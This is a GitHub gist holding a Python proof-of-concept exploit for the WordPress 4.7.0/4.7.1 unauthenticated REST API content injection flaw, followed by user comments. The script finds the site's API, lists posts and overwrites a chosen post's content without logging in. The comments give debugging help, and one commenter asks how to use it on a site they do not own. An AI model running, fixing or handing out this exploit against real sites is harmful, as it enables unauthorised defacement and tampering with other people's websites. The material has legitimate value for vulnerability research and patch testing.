-
-
Save leonjza/2244eb15510a0687ed93160c623762ab to your computer and use it in GitHub Desktop.
# 2017 - @leonjza | |
# | |
# Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC | |
# Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html | |
# Usage example: | |
# | |
# List available posts: | |
# | |
# $ python inject.py http://localhost:8070/ | |
# * Discovering API Endpoint | |
# * API lives at: http://localhost:8070/wp-json/ | |
# * Getting available posts | |
# - Post ID: 1, Title: test, Url: http://localhost:8070/archives/1 | |
# | |
# Update post with content from a file: | |
# | |
# $ cat content | |
# foo | |
# | |
# $ python inject.py http://localhost:8070/ 1 content | |
# * Discovering API Endpoint | |
# * API lives at: http://localhost:8070/wp-json/ | |
# * Updating post 1 | |
# * Post updated. Check it out at http://localhost:8070/archives/1 | |
# * Update complete! | |
import json | |
import sys | |
import urllib2 | |
from lxml import etree | |
def get_api_url(wordpress_url): | |
response = urllib2.urlopen(wordpress_url) | |
data = etree.HTML(response.read()) | |
u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0] | |
# check if we have permalinks | |
if 'rest_route' in u: | |
print(' ! Warning, looks like permalinks are not enabled. This might not work!') | |
return u | |
def get_posts(api_base): | |
respone = urllib2.urlopen(api_base + 'wp/v2/posts') | |
posts = json.loads(respone.read()) | |
for post in posts: | |
print(' - Post ID: {0}, Title: {1}, Url: {2}' | |
.format(post['id'], post['title']['rendered'], post['link'])) | |
def update_post(api_base, post_id, post_content): | |
# more than just the content field can be updated. see the api docs here: | |
# https://developer.wordpress.org/rest-api/reference/posts/#update-a-post | |
data = json.dumps({ | |
'content': post_content | |
}) | |
url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id) | |
req = urllib2.Request(url, data, {'Content-Type': 'application/json'}) | |
response = urllib2.urlopen(req).read() | |
print('* Post updated. Check it out at {0}'.format(json.loads(response)['link'])) | |
def print_usage(): | |
print('Usage: {0} <url> (optional: <post_id> <file with post_content>)'.format(__file__)) | |
if __name__ == '__main__': | |
# ensure we have at least a url | |
if len(sys.argv) < 2: | |
print_usage() | |
sys.exit(1) | |
# if we have a post id, we need content too | |
if 2 < len(sys.argv) < 4: | |
print('Please provide a file with post content with a post id') | |
print_usage() | |
sys.exit(1) | |
print('* Discovering API Endpoint') | |
api_url = get_api_url(sys.argv[1]) | |
print('* API lives at: {0}'.format(api_url)) | |
# if we only have a url, show the posts we have have | |
if len(sys.argv) < 3: | |
print('* Getting available posts') | |
get_posts(api_url) | |
sys.exit(0) | |
# if we get here, we have what we need to update a post! | |
print('* Updating post {0}'.format(sys.argv[2])) | |
with open(sys.argv[3], 'r') as content: | |
new_content = content.readlines() | |
update_post(api_url, sys.argv[2], ''.join(new_content)) | |
print('* Update complete!') |
How do you find post id of the link? What perma link does it havw to be?
@swaggerz500 run the script with only the url as argument, and it will print posts and id's for you. just like the example usage comment shows
Sorry my friend, but this "exploit" is total crap!
Such a mess between python2 and python3 code.
I still wonder how is possible to write such a bad script with powerful language like Python...
This exploit will NEVER work on any OS without tons of modifications.
@sunbyte thanks for your constructive feedback!
I'm getting IndexError: list index out of range
on my local non-patched wordpress blog:
* Discovering API Endpoint
Traceback (most recent call last):
File "wordpress.py", line 100, in <module>
api_url = get_api_url(sys.argv[1])
File "wordpress.py", line 50, in get_api_url
u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]
IndexError: list index out of range
Where does this error come from?
@unixfox That means it couldnt parse the API URL from the URI you specified. The script checks for a link tag with a rel of api.w.org. You could view the source of the wordpress page and check if its there and update the script if its somewhere else.
Hello @leonjza. Thank you.
I tested it at my localhost on windows 7 32bit, under XAMPP for WP 4.7.1.
But I had error:
C:\Python>inject.py http://localhost/cms/wp7test/
- Discovering API Endpoint
- API lives at: http://localhost/cms/wp7test/wp-json/
- Getting available posts
- Post ID: 1, Title: Hello world!, Url: http://localhost/cms/wp7test/2017/02/08
/hello-world/
Then:
C:\Python>inject.py http://localhost/cms/wp7test/ 1 abc.txt
- Discovering API Endpoint
- API lives at: http://localhost/cms/wp7test/wp-json/
- Updating post 1
Traceback (most recent call last):
File "C:\Python\inject.py", line 102, in
update_post(api_url, sys.argv[2], ''.join(new_content))
File "C:\Python\inject.py", line 66, in update_post
response = urllib2.urlopen(req).read()
File "C:\Python\lib\urllib2.py", line 154, in urlopen
return opener.open(url, data, timeout)
File "C:\Python\lib\urllib2.py", line 437, in open
response = meth(req, response)
File "C:\Python\lib\urllib2.py", line 550, in http_response
'http', request, response, code, msg, hdrs)
File "C:\Python\lib\urllib2.py", line 475, in error
return self._call_chain(*args)
File "C:\Python\lib\urllib2.py", line 409, in _call_chain
result = func(*args)
File "C:\Python\lib\urllib2.py", line 558, in http_error_default
raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
urllib2.HTTPError: HTTP Error 400: Bad Request
Please help me. Thank you.
@unixfox That means it couldnt parse the API URL from the URI you specified. The script checks for a link tag with a rel of api.w.org. You could view the source of the wordpress page and check if its there and update the script if its somewhere else.
can you explain more?
what if the website does not belong to me and i cant see the script? where do usualy the API is located
@Ahmedhaseeb will have to check out your webservers logs to see if there are more details about the error I think.